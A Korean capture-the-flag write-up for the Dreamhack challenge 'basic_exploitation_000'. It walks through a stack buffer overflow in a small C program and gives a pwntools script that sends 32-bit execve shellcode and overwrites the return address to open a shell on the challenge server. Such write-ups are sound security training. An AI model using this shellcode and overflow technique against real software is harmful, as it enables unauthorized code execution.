본문 바로가기

Wargame/Dreamhack

[Dreamhack] basic_exploitation_000

환경정보를 살펴보면, 보호기법이 아무것도 적용되지 않고 있다.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

main 함수를 보면 buf에 할당된 크기는 0x80 즉, 128 바이트이다.

그런데 scanf를 통해 buf에 입력된 값의 크기는 141 바이트이기 때문에 Buffer Overflow가 발생한다.

 

그 뒤에 initialize 함수가 실행되고, printf로 buf 주소를 출력하고, scanf로 입력을 받는다.

 

initialize 함수를 보면 실행되고 30초가 지나면 Time Out 메시지가 출력되며 프로그램이 종료된다.

 

 

스택은 Buffer + SFP (4 Byte) + RET (4 Byte) 구조로 이루어져 있다.

 

buf 크기는 128 Byte이므로 buf + SFP 의 값은 132 Byte가 된다.

 

132 바이트에 쉘 코드를 채운 후 RET에 침범하여, buf 주소 값을 넣어주면 buf로 돌아가서 쉘 코드를 실행시키고 권한을 탈취할 수 있다.

 

 

 

 

어셈블리어로 컴파일해 코드도 봐보자.

 

 

	.file	"basic_exploitation_000.c"
	.text
	.section	.rodata
.LC0:
	.string	"TIME OUT"
	.text
	.globl	alarm_handler
	.type	alarm_handler, @function
alarm_handler:
.LFB6:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	leaq	.LC0(%rip), %rax
	movq	%rax, %rdi
	call	puts@PLT
	movl	$-1, %edi
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	alarm_handler, .-alarm_handler
	.globl	initialize
	.type	initialize, @function
initialize:
.LFB7:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	movq	stdin(%rip), %rax
	movl	$0, %ecx
	movl	$2, %edx
	movl	$0, %esi
	movq	%rax, %rdi
	call	setvbuf@PLT
	movq	stdout(%rip), %rax
	movl	$0, %ecx
	movl	$2, %edx
	movl	$0, %esi
	movq	%rax, %rdi
	call	setvbuf@PLT
	leaq	alarm_handler(%rip), %rax
	movq	%rax, %rsi
	movl	$14, %edi
	call	signal@PLT
	movl	$30, %edi
	call	alarm@PLT
	nop
	popq	%rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	initialize, .-initialize
	.section	.rodata
.LC1:
	.string	"buf = (%p)\n"
.LC2:
	.string	"%141s"
	.text
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	subq	$160, %rsp
	movl	%edi, -148(%rbp)
	movq	%rsi, -160(%rbp)
	movq	%fs:40, %rax
	movq	%rax, -8(%rbp)
	xorl	%eax, %eax
	movl	$0, %eax
	call	initialize
	leaq	-144(%rbp), %rax
	movq	%rax, %rsi
	leaq	.LC1(%rip), %rax
	movq	%rax, %rdi
	movl	$0, %eax
	call	printf@PLT
	leaq	-144(%rbp), %rax
	movq	%rax, %rsi
	leaq	.LC2(%rip), %rax
	movq	%rax, %rdi
	movl	$0, %eax
	call	__isoc99_scanf@PLT
	movl	$0, %eax
	movq	-8(%rbp), %rdx
	subq	%fs:40, %rdx
	je	.L5
	call	__stack_chk_fail@PLT
.L5:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

 

buf 주소

 

pwntools로 익스플로잇 코드를 짜보자.

 

from pwn import *

p = remote("host3.dreamhack.games", 17251)

buf = int(p.recv()[7:17], 16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"				
payload += b"\x90"*106			
payload += p32(buf)				

p.sendline(payload)				
p.interactive()

 

원격 서버 접속 -> remote 클래스

 

buf 의 주소 10 자리를 16진수로 바꿔서 저장한다.

 

왜인지 buf = int(p.recv(10), 16) 로 하면 자꾸 오류가 나서 구글링을 하다 발견했다.

어차피 같은 10개인데 뭐가 다른가 싶기도 하지만,

출력데이터를 index 7 ~ 17만 16진수로 buf에 저장하는거라고 한다.

 

* 아아아아아 고민하다가 저게 왜 7부터 시작하는지 알 것 같다.

buf 주소가 "buf = (0x-------)" 형식으로 출력되니까 앞에     "buf=(   6자리를 제외하고 7번째 문자부터 가져가기 위함이었다!

p.recvuntil("buf = (")

위의 코드를 통해 "buf = (" 문자열을 읽어서 반환하는 방법도 있다고 한다.

p.recvline()

같은 방법으로 개행문자 "\n" 를 recvline 을 통해 한 줄을 읽어서 반환한다.

 

scanf() 우회 쉘 코드인 26 바이트 쉘 코드를 작성한다.

나는 python3를 쓰니까 문자열 앞에 바이트 형식으로 변화해주는 b를 붙여야 한다.

 

132 - 26 = 106 이므로 나머지 106 바이트는 아무 문자로 채운다.

RET 전까지 채워지면 buf 주소 값을 32bit 리틀 엔디언 패킹 방식으로 넣는다.

 

sendline -> payload 값 전송

interactive -> 쉘에 접속

 

 

중간에 오류가 나서 pyelftools 버전을 0.30에서 0.29로 낮춰주었다.

 

 

이게 그 오류다.

 

 

플래그가 나왔다!!

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] ssp-001  (0) 2023.09.24
[Dreamhack] Return to shallcode  (0) 2023.09.24
[Dreamhack] XSS-1  (0) 2023.09.14
[Dreamhack] FFFFAAAATTT  (0) 2023.04.02
[Dreamhack] file-download-1  (0) 2022.11.21